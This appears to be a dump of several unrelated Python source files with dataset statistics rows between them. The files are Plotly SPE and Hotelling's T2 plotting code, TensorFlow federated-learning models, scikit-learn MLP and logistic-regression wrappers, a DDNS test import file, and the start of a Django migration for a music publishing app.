conf_level: float = 0.95 # TODO: check constraint < 1
title: str = (
"Squared prediction error plot after "
f"fitting {with_a} component{'s' if with_a > 1 else ''}"
f", with the {conf_level*100}% confidence limit"
)
default_marker: Dict = dict(color="darkblue", symbol="circle", size=7)
show_labels: bool = False
show_legend: bool = False
html_image_height: float = 500.0
html_aspect_ratio_w_over_h: float = 16 / 9.0
@validator("conf_level")
def check_conf_level(cls, v):
if v >= 1:
raise ValueError("0.0 < `conf_level` < 1.0")
if v <= 0:
raise ValueError("0.0 < `conf_level` < 1.0")
return v
if settings:
setdict = Settings(**settings).dict()
else:
setdict = Settings().dict()
if fig is None:
fig = go.Figure()
name = f"SPE values after {with_a} component{'s' if with_a > 1 else ''}"
highlights: Dict[str, list] = {}
default_index = model.squared_prediction_error.index
if items_to_highlight is not None:
highlights = items_to_highlight.copy()
for key, items in items_to_highlight.items():
highlights[key] = list(set(items) & set(default_index))
default_index = (set(default_index) ^ set(highlights[key])) & set(
default_index
)
# Ensure it is back to a list
default_index = list(default_index)
fig.add_trace(
go.Scatter(
x=default_index,
y=model.squared_prediction_error.loc[default_index, with_a],
name=name,
mode="markers+text" if setdict["show_labels"] else "markers",
marker=setdict["default_marker"],
text=default_index,
textposition="top center",
showlegend=setdict["show_legend"],
)
)
# Items to highlight, if any
for key, index in highlights.items():
styling = json.loads(key)
fig.add_trace(
go.Scatter(
x=index,
y=model.squared_prediction_error.loc[index, with_a],
name=name,
mode="markers+text" if setdict["show_labels"] else "markers",
marker=styling,
text=index,
textposition="top center",
)
)
limit_SPE_conf_level = model.SPE_limit(conf_level=setdict["conf_level"])
name = f'{setdict["conf_level"]*100:.3g}% limit'
fig.add_hline(
y=limit_SPE_conf_level,
line_color="red",
annotation_text=name,
annotation_position="bottom right",
name=name,
)
fig.add_hline(y=0, line_color="black")
fig.update_layout(
title_text=setdict["title"],
margin=margin_dict,
hovermode="closest",
showlegend=setdict["show_legend"],
legend=dict(
orientation="h",
traceorder="normal",
font=dict(family="sans-serif", size=12, color="#000"),
bordercolor="#DDDDDD",
borderwidth=1,
),
autosize=False,
xaxis=dict(
gridwidth=1,
mirror=True,
showspikes=True,
visible=True,
),
yaxis=dict(
title=name,
gridwidth=2,
type="linear",
autorange=True,
showspikes=True,
visible=True,
showline=True, # show a separating line
side="left", # show on the RHS
),
width=setdict["html_aspect_ratio_w_over_h"] * setdict["html_image_height"],
height=setdict["html_image_height"],
)
return fig
def t2_plot(
model,
with_a=-1,
items_to_highlight: Dict[str, list] = None,
settings: Dict = None,
fig=None,
) -> go.Figure:
"""Generates a Hotelling's T2 (T^2) plot for the given latent variable model using
`with_a` number of latent variables. The default will use the total number of latent variables
which have already been fitted.
Parameters
----------
model : MVmodel object (PCA, or PLS)
A latent variable model generated by this library.
with_a : int, optional
Uses this many number of latent variables, and therefore shows the SPE after this number of
model components. By default the total number of components fitted will be used.
items_to_highlight : dict, optional
keys: an string which can be json.loads(...) and turns into a Plotly line specifier.
values: a list of identifiers for the items to highlight [index names]
For example:
items_to_highlight = {'{"color": "red", "symbol": "cross"}': items_in_red}
will ensure the subset of the index listed in `items_in_red` in that colour and shape.
settings : dict
Default settings are = {
"show_limit": True [bool],
Should the T2 limit be plotted.
"conf_level": 0.95 [float]
If the limit line is added, which confidence level is used. Number < 1.00.
"title": f"Hotelling's T2 plot after fitting {with_a} components,
with the {conf_level*100}% confidence limit""
Overall plot title
"default_marker": optional, [dict]
dict(color="darkblue", symbol="circle", size=7)
"show_labels": False,
Adds a label for each observation. Labels are always available in the hover.
"show_legend": False,
Shows a clickable legend (allows to turn the limit on/off)
"html_image_height": 500,
Image height, in pixels.
"html_aspect_ratio_w_over_h": 16/9,
Sets the image width, as a ratio of the height.
}
"""
# TO CONSIDER: allow a setting `as_line`: which connects the points with line segments
margin_dict: Dict = dict(l=10, r=10, b=5, t=80) # Defaults: l=80, r=80, t=100, b=80
if with_a < 0:
with_a = model.Hotellings_T2.columns[with_a]
# TODO: check `with_a`: what should it plot if `with_a` is zero, or > A?
class Settings(BaseModel):
show_limit: bool = True
conf_level: float = 0.95 # TODO: check constraint < 1
title: str = (
f"Hotelling's T2 plot after fitting {with_a} component{'s' if with_a > 1 else ''}"
f", with the {conf_level*100}% confidence limit"
)
default_marker: Dict = dict(color="darkblue", symbol="circle", size=7)
show_labels: bool = False # TODO
show_legend: bool = False
html_image_height: float = 500.0
html_aspect_ratio_w_over_h: float = 16 / 9.0
if settings:
setdict = Settings(**settings).dict()
else:
setdict = Settings().dict()
if fig is None:
fig = go.Figure()
name = f"T2 values after {with_a} component{'s' if with_a > 1 else ''}"
highlights: Dict[str, list] = {}
default_index = model.Hotellings_T2.index
if items_to_highlight is not None:
highlights = items_to_highlight.copy()
for key, items in items_to_highlight.items():
highlights[key] = list(set(items) & set(default_index))
default_index = (set(default_index) ^ set(highlights[key])) & set(
default_index
)
# Ensure it is back to a list
default_index = list(default_index)
fig.add_trace(
go.Scatter(
x=default_index,
y=model.Hotellings_T2.loc[default_index, with_a],
name=name,
mode="markers+text" if setdict["show_labels"] else "markers",
marker=setdict["default_marker"],
text=default_index,
textposition="top center",
showlegend=setdict["show_legend"],
)
)
# Items to highlight, if any
for key, index in highlights.items():
styling = json.loads(key)
fig.add_trace(
go.Scatter(
x=index,
y=model.Hotellings_T2.loc[index, with_a],
name=name,
mode="markers+text" if setdict["show_labels"] else "markers",
marker=styling,
text=index,
textposition="top center",
)
)
limit_HT2_conf_level = model.T2_limit(conf_level=setdict["conf_level"])
name = f'{setdict["conf_level"]*100:.3g}% limit'
fig.add_hline(
y=limit_HT2_conf_level,
line_color="red",
annotation_text=name,
annotation_position="bottom right",
name=name,
)
fig.add_hline(y=0, line_color="black")
fig.update_layout(
title_text=setdict["title"],
margin=margin_dict,
hovermode="closest",
showlegend=setdict["show_legend"],
legend=dict(
orientation="h",
traceorder="normal",
font=dict(family="sans-serif", size=12, color="#000"),
bordercolor="#DDDDDD",
borderwidth=1,
),
autosize=False,
xaxis=dict(
gridwidth=1,
mirror=True,
showspikes=True,
visible=True,
),
yaxis=dict(
title_text=name,
gridwidth=2,
type="linear",
autorange=True,
showspikes=True,
visible=True,
showline=True,
side="left",
),
width=setdict["html_aspect_ratio_w_over_h"] * setdict["html_image_height"],
height=setdict["html_image_height"],
)
return fig
| 34.896138 | 99 | 0.558591 | 3,208 | 26,207 | 4.411471 | 0.103803 | 0.02883 | 0.028265 | 0.013567 | 0.837055 | 0.811193 | 0.794375 | 0.781515 | 0.771552 | 0.757561 | 0 | 0.017441 | 0.339261 | 26,207 | 750 | 100 | 34.942667 | 0.799838 | 0.293853 | 0 | 0.718447 | 0 | 0 | 0.136797 | 0.013116 | 0 | 0 | 0 | 0.004 | 0.01165 | 1 | 0.013592 | false | 0 | 0.007767 | 0 | 0.095146 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
c45c4fff2df2699297ee69bc175d8218572d72c0 | 126 | py | Python | tests/ddns_updater/__init__.py | hbontempo-br/ddns-manager | 3d78ba540d433146fc61b4243c62a519830c1fb4 | [
"MIT"
] | null | null | null | tests/ddns_updater/__init__.py | hbontempo-br/ddns-manager | 3d78ba540d433146fc61b4243c62a519830c1fb4 | [
"MIT"
] | 15 | 2021-06-30T16:05:38.000Z | 2021-07-11T16:14:29.000Z | tests/ddns_updater/__init__.py | hbontempo-br/ddns-manager | 3d78ba540d433146fc61b4243c62a519830c1fb4 | [
"MIT"
] | null | null | null | from .ddns_updater_test import TestDDNSUpdater
from .google_synthetic_ddns_updater_test import TestGoogleSyntheticDDNSUpdater
| 42 | 78 | 0.920635 | 14 | 126 | 7.857143 | 0.642857 | 0.2 | 0.272727 | 0.381818 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.063492 | 126 | 2 | 79 | 63 | 0.932203 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
c477de4634ddc32c4e47380eb0ab2e82850bfb24 | 11,147 | py | Python | FL_models/All_models.py | Abdullatif2/FL_Particpant_selection_Based_Fixed_and_dynamic_deadline | e1769f2ec37f6f7c16bda543a5609779ccefbfe1 | [
"MIT"
] | null | null | null | FL_models/All_models.py | Abdullatif2/FL_Particpant_selection_Based_Fixed_and_dynamic_deadline | e1769f2ec37f6f7c16bda543a5609779ccefbfe1 | [
"MIT"
] | 2 | 2022-03-24T13:28:35.000Z | 2022-03-30T21:12:15.000Z | FL_models/All_models.py | Abdullatif2/FL_Particpant_selection_Based_Fixed_and_dynamic_deadline | e1769f2ec37f6f7c16bda543a5609779ccefbfe1 | [
"MIT"
] | null | null | null |
import numpy as np
import tensorflow as tf
from tqdm import trange
class Model_femnist(object):
'''
images are 28px by 28px with 62 classes
'''
def __init__(self, num_classes, optimizer, seed=1):
# params
self.num_classes = num_classes
self.optimizer = optimizer
# create computation graph
self.graph = tf.Graph()
with self.graph.as_default():
tf.set_random_seed(123+seed)
self.features, self.labels, self.train_op, self.grads, self.eval_metric_ops, self.loss = self.create_model(
optimizer)
self.saver = tf.train.Saver()
self.sess = tf.Session(graph=self.graph)
# find memory footprint and compute cost of the model
self.size = graph_size(self.graph)
with self.graph.as_default():
self.sess.run(tf.global_variables_initializer())
metadata = tf.RunMetadata()
opts = tf.profiler.ProfileOptionBuilder.float_operation()
self.flops = tf.profiler.profile(
self.graph, run_meta=metadata, cmd='scope', options=opts).total_float_ops
def create_model(self, optimizer):
"""Model function for Logistic Regression."""
features = tf.placeholder(
tf.float32, shape=[None, 784], name='features')
labels = tf.placeholder(tf.int64, shape=[None, ], name='labels')
input_layer = tf.reshape(features, [-1, 28, 28, 1])
conv1 = tf.layers.conv2d(
inputs=input_layer,
filters=32,
kernel_size=[5, 5],
padding="same",
activation=tf.nn.relu)
pool1 = tf.layers.max_pooling2d(
inputs=conv1, pool_size=[2, 2], strides=2)
dropout1 = tf.layers.dropout(
pool1,
rate=0.4,
)
conv2 = tf.layers.conv2d(
inputs=dropout1,
filters=64,
kernel_size=[5, 5],
padding="same",
activation=tf.nn.relu)
pool2 = tf.layers.max_pooling2d(
inputs=conv2, pool_size=[2, 2], strides=2)
dropout2 = tf.layers.dropout(
pool2,
rate=0.4,
)
pool2_flat = tf.reshape(dropout2, [-1, 7 * 7 * 64])
dense = tf.layers.dense(
inputs=pool2_flat, units=512, activation=tf.nn.relu)
logits = tf.layers.dense(inputs=dense, units=self.num_classes)
predictions = {
"classes": tf.argmax(input=logits, axis=1),
"probabilities": tf.nn.softmax(logits, name="softmax_tensor")
}
loss = tf.losses.sparse_softmax_cross_entropy(
labels=labels, logits=logits)
grads_and_vars = optimizer.compute_gradients(loss)
grads, _ = zip(*grads_and_vars)
train_op = optimizer.apply_gradients(
grads_and_vars, global_step=tf.train.get_global_step())
eval_metric_ops = tf.count_nonzero(
tf.equal(labels, predictions["classes"]))
return features, labels, train_op, grads, eval_metric_ops, loss
def set_params(self, model_params=None):
if model_params is not None:
with self.graph.as_default():
all_vars = tf.trainable_variables()
for variable, value in zip(all_vars, model_params):
variable.load(value, self.sess)
def set_vzero(self, vzero):
self.vzero = vzero
def get_params(self):
with self.graph.as_default():
model_params = self.sess.run(tf.trainable_variables())
return model_params
def get_gradients(self, data, model_len):
grads = np.zeros(model_len)
num_samples = len(data['y'])
with self.graph.as_default():
model_grads = self.sess.run(self.grads,
feed_dict={self.features: data['x'], self.labels: data['y']})
grads = process_grad(model_grads)
return num_samples, grads
def get_raw_gradients(self, data):
with self.graph.as_default():
model_grads = self.sess.run(self.grads,
feed_dict={self.features: data['x'], self.labels: data['y']})
return model_grads
def set_gradientParam(self, preG, preGn):
self.optimizer.set_preG(preG, self)
self.optimizer.set_preGn(preGn, self)
def solve_inner(self, optimizer, data, num_epochs=1, batch_size=32):
'''Solves local optimization problem'''
if (batch_size == 0): # Full data or batch_size
batch_size = len(data['y']) # //10
#if(optimizer == "fedavg"):
#data_x, data_y = suffer_data(data)
for _ in trange(num_epochs, desc='Epoch: ', leave=False, ncols=120):
#X, y = get_random_batch_sample(data_x, data_y, batch_size)
#with self.graph.as_default():
# self.sess.run(self.train_op, feed_dict={self.features: X, self.labels: y})
for X, y in batch_data(data, batch_size):
with self.graph.as_default():
self.sess.run(self.train_op, feed_dict={
self.features: X, self.labels: y})
soln = self.get_params()
with self.graph.as_default():
grad = self.sess.run(self.grads, feed_dict={
self.features: data['x'], self.labels: data['y']})
comp = num_epochs * \
(len(data['y'])//batch_size) * batch_size * self.flops
return soln, grad, comp
def test(self, data):
'''
Args:
data: dict of the form {'x': [list], 'y': [list]}
'''
with self.graph.as_default():
tot_correct, loss = self.sess.run([self.eval_metric_ops, self.loss],
feed_dict={self.features: data['x'], self.labels: data['y']})
return tot_correct, loss
def close(self):
self.sess.close()
class Model_mnist(object):
'''
images are 28px by 28px and classes only 10
'''
def __init__(self, num_classes, optimizer, seed=1):
# params
self.num_classes = num_classes
self.optimizer = optimizer
#self.vzero =
# create computation graph
self.graph = tf.Graph()
with self.graph.as_default():
tf.set_random_seed(123+seed)
self.features, self.labels, self.train_op, self.grads, self.eval_metric_ops, self.loss = self.create_model(
optimizer)
self.saver = tf.train.Saver()
self.sess = tf.Session(graph=self.graph)
# find memory footprint and compute cost of the model
self.size = graph_size(self.graph)
with self.graph.as_default():
self.sess.run(tf.global_variables_initializer())
metadata = tf.RunMetadata()
opts = tf.profiler.ProfileOptionBuilder.float_operation()
self.flops = tf.profiler.profile(
self.graph, run_meta=metadata, cmd='scope', options=opts).total_float_ops
def set_vzero(self, vzero):
self.vzero = vzero
def create_model(self, optimizer):
"""Model function for Logistic Regression."""
features = tf.placeholder(
tf.float32, shape=[None, 784], name='features')
labels = tf.placeholder(tf.int64, shape=[None, ], name='labels')
logits = tf.layers.dense(inputs=features, units=self.num_classes, kernel_regularizer=tf.contrib.layers.l2_regularizer(
0.1)) # 0.001 #Linear layer without regularizer
predictions = {
"classes": tf.argmax(input=logits, axis=1),
"probabilities": tf.nn.softmax(logits, name="softmax_tensor")
}
loss = tf.losses.sparse_softmax_cross_entropy(
labels=labels, logits=logits)
grads_and_vars = optimizer.compute_gradients(loss)
grads, _ = zip(*grads_and_vars)
train_op = optimizer.apply_gradients(
grads_and_vars, global_step=tf.train.get_global_step())
eval_metric_ops = tf.count_nonzero(
tf.equal(labels, predictions["classes"]))
return features, labels, train_op, grads, eval_metric_ops, loss
def set_params(self, model_params=None):
if model_params is not None:
with self.graph.as_default():
all_vars = tf.trainable_variables()
for variable, value in zip(all_vars, model_params):
variable.load(value, self.sess)
def set_gradientParam(self, preG, preGn):
self.optimizer.set_preG(preG, self)
self.optimizer.set_preGn(preGn, self)
def get_params(self):
with self.graph.as_default():
model_params = self.sess.run(tf.trainable_variables())
return model_params
def get_gradients(self, data, model_len):
grads = np.zeros(model_len)
num_samples = len(data['y'])
with self.graph.as_default():
model_grads = self.sess.run(self.grads,
feed_dict={self.features: data['x'], self.labels: data['y']})
grads = process_grad(model_grads)
return num_samples, grads
def get_raw_gradients(self, data):
with self.graph.as_default():
model_grads = self.sess.run(self.grads,
feed_dict={self.features: data['x'], self.labels: data['y']})
return model_grads
def solve_inner(self, optimizer, data, num_epochs=1, batch_size=32):
'''Solves local optimization problem'''
if (batch_size == 0): # Full data or batch_size
batch_size = len(data['y'])#//10
#if(optimizer == "fedavg"):
#data_x, data_y = suffer_data(data)
for _ in trange(num_epochs, desc='Epoch: ', leave=False, ncols=120):
#X, y = get_random_batch_sample(data_x, data_y, batch_size)
#with self.graph.as_default():
# self.sess.run(self.train_op, feed_dict={self.features: X, self.labels: y})
for X, y in batch_data(data, batch_size):
with self.graph.as_default():
self.sess.run(self.train_op, feed_dict={self.features: X, self.labels: y})
soln = self.get_params()
with self.graph.as_default():
grad = self.sess.run(self.grads, feed_dict={self.features: data['x'], self.labels: data['y']})
comp = num_epochs * \
(len(data['y'])//batch_size) * batch_size * self.flops
return soln, grad, comp
def test(self, data):
'''
Args:
data: dict of the form {'x': [list], 'y': [list]}
'''
with self.graph.as_default():
tot_correct, loss = self.sess.run([self.eval_metric_ops, self.loss],
feed_dict={self.features: data['x'], self.labels: data['y']})
print(tot_correct)
return tot_correct, loss
def FlopsD(self):
return self.flops
def close(self):
self.sess.close()
| 38.570934 | 126 | 0.581771 | 1,369 | 11,147 | 4.55515 | 0.150475 | 0.040411 | 0.041693 | 0.048108 | 0.904907 | 0.882617 | 0.860808 | 0.860808 | 0.860808 | 0.851347 | 0 | 0.014222 | 0.299812 | 11,147 | 288 | 127 | 38.704861 | 0.784753 | 0.096797 | 0 | 0.809756 | 0 | 0 | 0.016512 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.112195 | false | 0 | 0.014634 | 0.004878 | 0.2 | 0.004878 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
c487ba6c61c2f9b96d9cd8928ef24da4d11f50c2 | 9,654 | py | Python | GUI/zeroone.py | MathijsTak/Pacemaker-ai | c4047fc5d5105452365753fe4ab880d3d7376907 | [
"MIT"
] | 1 | 2021-12-02T10:58:12.000Z | 2021-12-02T10:58:12.000Z | GUI/zeroone.py | MathijsTak/Pacemaker-ai | c4047fc5d5105452365753fe4ab880d3d7376907 | [
"MIT"
] | 3 | 2021-12-02T09:58:58.000Z | 2021-12-20T09:33:13.000Z | GUI/zeroone.py | MathijsTak/Pacemaker-ai | c4047fc5d5105452365753fe4ab880d3d7376907 | [
"MIT"
] | null | null | null | import numpy as np
from numpy.core.numeric import tensordot
import pandas as pd
import matplotlib.pyplot as matplot
from sklearn.model_selection import train_test_split
from sklearn.neural_network import MLPRegressor as MLPR
from sklearn.linear_model import LogisticRegression as LR
from sklearn.neural_network import MLPClassifier as MLPC
from sklearn.metrics import plot_confusion_matrix
def OHencoding(df, columns):
for column in columns:
df = pd.get_dummies(df, columns=[column], prefix=[column])
return df
def accuracy(pred_labels, true_labels):
all_errors = []
for pred_label, true_label in zip(pred_labels, true_labels):
# in elke iteratie van de loop krijgen we 1 predicted label in pred_label en 1 bijbehorend true label in true_label
absolute_error = abs(pred_label - true_label)
all_errors.append(absolute_error)
MAE = sum(all_errors) / len(all_errors)
return MAE
def normalize(df, mapping):
result = df.copy()
for feature_name in df.columns:
max_value = mapping[feature_name]['max']
min_value = mapping[feature_name]['min']
result[feature_name] = (
df[feature_name] - min_value) / (max_value - min_value)
return result
def plt(true_labels, pred_labels, label, length, yrange, ax):
if ax == None:
fig, ax = matplot.subplots()
index = np.arange(length)
bar_width = 0.25
opacity = 0.8
rects1 = ax.bar(index, true_labels[:length], bar_width,
alpha=opacity, color='r', label='True_labels')
rects2 = ax.bar(index + bar_width, pred_labels[:length],
bar_width, alpha=opacity, color='b', label='Pred_labels')
rects2 = ax.bar(index + 2*bar_width, abs(true_labels[:length]-pred_labels[:length]),
bar_width, alpha=opacity, color='g', label='Absolute Error')
ax.ticklabel_format(style='plain')
ax.set_xlabel('')
ax.set_ylabel('')
ax.set_title(label)
if yrange != None:
ax.set_ylim(yrange)
ax.legend()
if ax == None:
matplot.show()
matplot.show()
class MLPRegressor:
def __init__(self, dataset, input_data, label, test_size=0.2, random_state=42, mapping=None):
self.label = label
self.mapping = mapping
input_data = dataset[input_data]
if mapping == None:
input_data = (input_data - input_data.mean()) / \
(input_data.max() - input_data.min())
self.mean = input_data.mean()
self.max = input_data.max()
self.min = input_data.min()
else:
input_data = normalize(input_data, mapping)
label = dataset[self.label]
self.data_train, self.data_test, self.labels_train, self.labels_test = train_test_split(
input_data, label, test_size=test_size, random_state=random_state)
def plot(self, length, yrange=None, ax=None):
pred_labels = self.model.predict(self.data_test)
true_labels = self.labels_test
#pred_labels = np.round(np.clip(pred_labels,0,1))
plt(true_labels, pred_labels, self.label, length, yrange, ax)
def prediction(self, prediction_data):
if self.mapping == None:
prediction_data = (prediction_data - self.mean) / \
(self.max - self.min)
else:
prediction_data = normalize(prediction_data, self.mapping)
pred_label = self.model.predict(prediction_data)
return pred_label
def train(self, hidden_layer_sizes):
self.model = MLPR(hidden_layer_sizes)
self.model.fit(self.data_train, self.labels_train)
pred_labels = self.model.predict(self.data_test)
true_labels = self.labels_test
#pred_labels = np.round(np.clip(pred_labels,0,1))
self.accuracy = accuracy(pred_labels, true_labels)
print('Het model heeft een nauwkeurigheid van {}.'.format(self.accuracy))
def epochtrain(self, hidden_layer_sizes, epochs, num_data):
self.model = MLPR(hidden_layer_sizes, max_iter=1, warm_start=True)
train_accs = []
test_accs = []
for epoch in range(epochs):
self.model.fit(
self.data_train[:num_data], self.labels_test[:num_data])
pred_labels = self.model.predict(self.data_train[:num_data])
true_labels = self.labels_train[:num_data]
train_acc = accuracy(pred_labels, true_labels)
train_accs.append(train_acc)
pred_labels = self.model.predict(self.data_test[:1000])
true_labels = self.labels_test[:1000]
test_acc = accuracy(pred_labels, true_labels)
test_accs.append(test_acc)
matplot.plot(train_accs, label='Train acc')
matplot.plot(test_accs, label='Test acc')
matplot.xlabel('Epoch')
matplot.ylabel('Accuracy')
matplot.ylim(0.1)
matplot.legend()
matplot.plot()
matplot.show()
class MLPClassifier:
def __init__(self, dataset, input_data, label, test_size=0.2, random_state=42, mapping=None):
self.label = label
self.mapping = mapping
input_data = dataset[input_data]
if mapping == None:
input_data = (input_data - input_data.mean()) / \
(input_data.max() - input_data.min())
self.mean = input_data.mean()
self.max = input_data.max()
self.min = input_data.min()
else:
input_data = normalize(input_data, mapping)
label = dataset[self.label]
self.data_train, self.data_test, self.labels_train, self.labels_test = train_test_split(
input_data, label, test_size=test_size, random_state=random_state)
def plot(self, length, yrange=None, ax=None):
pred_labels = self.model.predict(self.data_test)
true_labels = self.labels_test
#pred_labels = np.round(np.clip(pred_labels,0,1))
plt(true_labels, pred_labels, self.label, length, yrange, ax)
def prediction(self, prediction_data):
if self.mapping == None:
prediction_data = (prediction_data - self.mean) / \
(self.max - self.min)
else:
prediction_data = normalize(prediction_data, self.mapping)
pred_label = self.model.predict(prediction_data)
return pred_label
def train(self, hidden_layer_sizes):
self.model = MLPC(hidden_layer_sizes)
self.model.fit(self.data_train, self.labels_train)
pred_labels = self.model.predict(self.data_test)
true_labels = self.labels_test
#pred_labels = np.round(np.clip(pred_labels,0,1))
self.accuracy = accuracy(pred_labels, true_labels)
print('Het model heeft een nauwkeurigheid van {}.'.format(self.accuracy))
def epochtrain(self, hidden_layer_sizes, epochs, num_data):
self.model = MLPC(hidden_layer_sizes, max_iter=1, warm_start=True)
train_accs = []
test_accs = []
for epoch in range(epochs):
self.model.fit(
self.data_train[:num_data], self.labels_test[:num_data])
pred_labels = self.model.predict(self.data_train[:num_data])
true_labels = self.labels_train[:num_data]
train_acc = accuracy(pred_labels, true_labels)
train_accs.append(train_acc)
pred_labels = self.model.predict(self.data_test[:1000])
true_labels = self.labels_test[:1000]
test_acc = accuracy(pred_labels, true_labels)
test_accs.append(test_acc)
matplot.plot(train_accs, label='Train acc')
matplot.plot(test_accs, label='Test acc')
matplot.xlabel('Epoch')
matplot.ylabel('Accuracy')
matplot.ylim(0.1)
matplot.legend()
matplot.plot()
matplot.show()
class LogisticRegressor:
def __init__(self, dataset, input_data, label, test_size=0.2, random_state=42, mapping=None):
self.label = label
self.mapping = mapping
input_data = dataset[input_data]
if mapping == None:
input_data = (input_data - input_data.mean()) / \
(input_data.max() - input_data.min())
self.mean = input_data.mean()
self.max = input_data.max()
self.min = input_data.min()
else:
input_data = normalize(input_data, mapping)
label = dataset[self.label]
self.data_train, self.data_test, self.labels_train, self.labels_test = train_test_split(
input_data, label, test_size=test_size, random_state=random_state)
def plot(self, length, yrange=None, ax=None):
pred_labels = self.model.predict(self.data_test)
true_labels = self.labels_test
#pred_labels = np.round(np.clip(pred_labels,0,1))
plt(true_labels, pred_labels, self.label, length, yrange, ax)
def prediction(self, prediction_data):
if self.mapping == None:
prediction_data = (prediction_data - self.mean) / \
(self.max - self.min)
else:
prediction_data = normalize(prediction_data, self.mapping)
pred_label = self.model.predict(prediction_data)
return pred_label
def train(self):
self.model = LR()
self.model.fit(self.data_train, self.labels_train)
pred_labels = self.model.predict(self.data_test)
true_labels = self.labels_test
#pred_labels = np.round(np.clip(pred_labels,0,1))
self.accuracy = accuracy(pred_labels, true_labels)
print('Het model heeft een nauwkeurigheid van {}.'.format(self.accuracy))
| 36.847328 | 123 | 0.642221 | 1,254 | 9,654 | 4.704944 | 0.119617 | 0.064068 | 0.030847 | 0.032203 | 0.803051 | 0.77678 | 0.774068 | 0.767797 | 0.753898 | 0.753898 | 0 | 0.007886 | 0.251295 | 9,654 | 261 | 124 | 36.988506 | 0.808384 | 0.041537 | 0 | 0.726368 | 0 | 0 | 0.025527 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.089552 | false | 0 | 0.044776 | 0 | 0.179104 | 0.014925 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
67181dffc726487490346879d45db98352604b35 | 58,109 | py | Python | music_publisher/migrations/0001_initial.py | mashanz/django-music-publisher | 4107a28460f175d17920010fc89f1f2d547c6226 | [
"MIT"
] | 44 | 2018-07-24T22:08:17.000Z | 2022-03-10T14:51:37.000Z | music_publisher/migrations/0001_initial.py | mashanz/django-music-publisher | 4107a28460f175d17920010fc89f1f2d547c6226 | [
"MIT"
] | 43 | 2018-10-09T11:43:55.000Z | 2022-02-05T10:47:23.000Z | music_publisher/migrations/0001_initial.py | mashanz/django-music-publisher | 4107a28460f175d17920010fc89f1f2d547c6226 | [
"MIT"
] | 20 | 2019-01-11T02:10:39.000Z | 2022-02-17T22:34:45.000Z | # Generated by Django 3.1.4 on 2020-12-23 12:43
import django.core.validators
from django.db import migrations, models
import django.db.models.deletion
import music_publisher.validators
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='ACKImport',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('filename', models.CharField(editable=False, max_length=60)),
('society_code', models.CharField(editable=False, max_length=3)),
('society_name', models.CharField(editable=False, max_length=45)),
('date', models.DateField(editable=False)),
('report', models.TextField(editable=False)),
('cwr', models.TextField(blank=True, editable=False)),
],
options={
'verbose_name': 'CWR ACK Import',
'ordering': ('-date', '-id'),
},
),
migrations.CreateModel(
name='Artist',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('first_name', models.CharField(blank=True, max_length=30, validators=[music_publisher.validators.CWRFieldValidator('name')])),
('last_name', models.CharField(db_index=True, max_length=45, validators=[music_publisher.validators.CWRFieldValidator('name')])),
('isni', models.CharField(blank=True, max_length=16, null=True, unique=True, validators=[music_publisher.validators.CWRFieldValidator('isni')], verbose_name='ISNI')),
],
options={
'verbose_name': 'Performing Artist',
'verbose_name_plural': 'Performing Artists',
'ordering': ('last_name', 'first_name', '-id'),
'abstract': False,
},
),
migrations.CreateModel(
name='ArtistInWork',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('artist', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='music_publisher.artist')),
],
options={
'verbose_name': 'Performing artist',
'verbose_name_plural': 'Performing artists (not mentioned in recordings section)',
'ordering': ('artist__last_name', 'artist__first_name'),
},
),
migrations.CreateModel(
name='DataImport',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('filename', models.CharField(editable=False, max_length=60)),
('report', models.TextField(editable=False)),
('date', models.DateTimeField(auto_now_add=True)),
],
options={
'verbose_name': 'Data Import',
'ordering': ('-date', '-id'),
},
),
migrations.CreateModel(
name='Label',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=60, unique=True, validators=[music_publisher.validators.CWRFieldValidator('name')])),
],
options={
'verbose_name': 'Music Label',
},
),
migrations.CreateModel(
name='Library',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=60, unique=True, validators=[music_publisher.validators.CWRFieldValidator('library')])),
],
options={
'verbose_name': 'Music Library',
'verbose_name_plural': 'Music Libraries',
'ordering': ('name',),
},
),
migrations.CreateModel(
name='Recording',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('recording_title', models.CharField(blank=True, max_length=60, validators=[music_publisher.validators.CWRFieldValidator('work_title')])),
('recording_title_suffix', models.BooleanField(default=False, help_text='A suffix to the WORK title.')),
